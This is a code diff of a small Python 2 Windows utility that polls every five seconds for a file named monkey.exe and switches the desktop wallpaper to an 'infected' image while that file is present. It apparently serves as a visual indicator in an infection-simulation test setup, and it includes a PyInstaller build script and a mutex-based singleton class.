self._mutex_handle = handle
|
||||
|
||||
LOG.debug("Global singleton mutex %r acquired",
|
||||
self._mutex_name)
|
||||
|
||||
return True
|
||||
|
||||
def unlock(self):
|
||||
assert self._mutex_handle is not None, "Singleton not locked"
|
||||
|
||||
ctypes.windll.kernel32.CloseHandle(self._mutex_handle)
|
||||
self._mutex_handle = None
|
||||
|
||||
|
||||
class LinuxSystemSingleton(_SystemSingleton):
|
||||
@property
|
||||
def locked(self):
|
||||
return False
|
||||
|
||||
def try_lock(self):
|
||||
return True
|
||||
|
||||
def unlock(self):
|
||||
pass
|
||||
|
||||
|
||||
if sys.platform == "win32":
|
||||
SystemSingleton = WindowsSystemSingleton
|
||||
else:
|
||||
SystemSingleton = LinuxSystemSingleton
|
|
@ -0,0 +1 @@
|
|||
__author__ = 'Administrator'
|
|
@ -0,0 +1,17 @@
|
|||
|
||||
from abc import ABCMeta, abstractmethod
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
class MonitorAction(object):
|
||||
__metaclass__ = ABCMeta
|
||||
|
||||
@abstractmethod
|
||||
def do_action(self):
|
||||
raise NotImplementedError()
|
||||
|
||||
@abstractmethod
|
||||
def undo_action(self):
|
||||
raise NotImplementedError()
|
||||
|
||||
from desktop import ChangeDesktopAction
|
|
@ -0,0 +1,38 @@
|
|||
|
||||
import os
|
||||
import sys
|
||||
import ctypes
|
||||
import shutil
|
||||
import logging
|
||||
from data import resource_path
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
SPI_SETDESKWALLPAPER = 20
|
||||
SPIF_UPDATEINIFILE = 0x01
|
||||
SPIF_SENDCHANGE = 0x02
|
||||
|
||||
class ChangeDesktopAction(object):
|
||||
def __init__(self, desktop_image):
|
||||
self._desktop_image = resource_path(desktop_image)
|
||||
|
||||
assert os.path.exists(self._desktop_image), "desktop image %s is missing" % (self._desktop_image, )
|
||||
|
||||
def do_action(self):
|
||||
ctypes_desktop_img = ctypes.c_char_p(self._desktop_image)
|
||||
|
||||
# set the image
|
||||
if not bool(ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, ctypes_desktop_img, SPIF_SENDCHANGE | SPIF_UPDATEINIFILE)):
|
||||
LOG.warn("Error setting desktop wallpaper image to '%s' (error %d)",
|
||||
ctypes_desktop_img.value, ctypes.windll.kernel32.GetLastError())
|
||||
else:
|
||||
LOG.debug("Desktop wallpaper image is set to %r", ctypes_desktop_img.value)
|
||||
|
||||
def undo_action(self):
|
||||
if not bool(ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, "" , SPIF_SENDCHANGE | SPIF_UPDATEINIFILE)):
|
||||
LOG.warn("Error resetting desktop wallpaper image (error %d)",
|
||||
ctypes.windll.kernel32.GetLastError())
|
||||
else:
|
||||
LOG.debug("Desktop wallpaper image reset")
|
|
@ -0,0 +1,2 @@
|
|||
c:\Python27\python -m PyInstaller.main -F -y --clean monitor.spec
|
||||
move /Y dist\monitor32.exe "%allusersprofile%\desktop\monitor32.exe"
|
|
@ -0,0 +1,13 @@
|
|||
|
||||
from abc import ABCMeta, abstractmethod
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
class MonitorCondition(object):
|
||||
__metaclass__ = ABCMeta
|
||||
|
||||
@abstractmethod
|
||||
def check_condition(self):
|
||||
raise NotImplementedError()
|
||||
|
||||
from files import FilesExistCondition
|
|
@ -0,0 +1,12 @@
|
|||
|
||||
import os
|
||||
from condition import MonitorCondition
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
class FilesExistCondition(MonitorCondition):
|
||||
def __init__(self, file_name):
|
||||
self._file_path = os.path.abspath(file_name)
|
||||
|
||||
def check_condition(self):
|
||||
return os.path.isfile(self._file_path)
|
|
@ -0,0 +1,16 @@
|
|||
|
||||
import sys
|
||||
from condition import FilesExistCondition
|
||||
from action import ChangeDesktopAction
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
||||
class MonitorConfiguration(object):
|
||||
conditions = [FilesExistCondition(r"C:\windows\monkey.exe"),
|
||||
]
|
||||
|
||||
actions = [ChangeDesktopAction(r"infected.bmp")
|
||||
]
|
||||
|
||||
monitor_interval = 5000 # 5 seconds
|
|
@ -0,0 +1,15 @@
|
|||
|
||||
import os
|
||||
import sys
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
def resource_path(relative_path):
|
||||
""" Get absolute path to resource, works for dev and for PyInstaller """
|
||||
try:
|
||||
# PyInstaller creates a temp folder and stores path in _MEIPASS
|
||||
base_path = sys._MEIPASS
|
||||
except Exception:
|
||||
base_path = os.path.abspath("data")
|
||||
|
||||
return os.path.join(base_path, relative_path)
|
Binary file not shown.
After Width: | Height: | Size: 1.4 MiB |
|
@ -0,0 +1,54 @@
|
|||
|
||||
import time
|
||||
import logging
|
||||
from config import MonitorConfiguration
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
logging.basicConfig(format='%(asctime)s [%(process)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s',
|
||||
level=logging.DEBUG)
|
||||
LOG = logging.getLogger()
|
||||
|
||||
def do_infected():
|
||||
LOG.info("Changed state to infected")
|
||||
|
||||
[action.do_action()
|
||||
for action in MonitorConfiguration.actions]
|
||||
|
||||
def do_not_infected():
|
||||
LOG.info("Changed state to not infected")
|
||||
[action.undo_action()
|
||||
for action in MonitorConfiguration.actions]
|
||||
|
||||
def main():
|
||||
infected = False
|
||||
|
||||
LOG.info("Monitor going up...")
|
||||
|
||||
do_not_infected()
|
||||
|
||||
try:
|
||||
while True:
|
||||
if any([condition.check_condition()
|
||||
for condition in MonitorConfiguration.conditions]):
|
||||
if not infected:
|
||||
do_infected()
|
||||
|
||||
infected = True
|
||||
else:
|
||||
if infected:
|
||||
do_not_infected()
|
||||
|
||||
infected = False
|
||||
|
||||
for _ in range(MonitorConfiguration.monitor_interval / 1000):
|
||||
time.sleep(1.0)
|
||||
finally:
|
||||
if infected:
|
||||
do_not_infected()
|
||||
|
||||
LOG.info("Monitor going down...")
|
||||
|
||||
|
||||
if "__main__" == __name__:
|
||||
main()
|
Binary file not shown.
After Width: | Height: | Size: 348 KiB |
Loading…
Reference in New Issue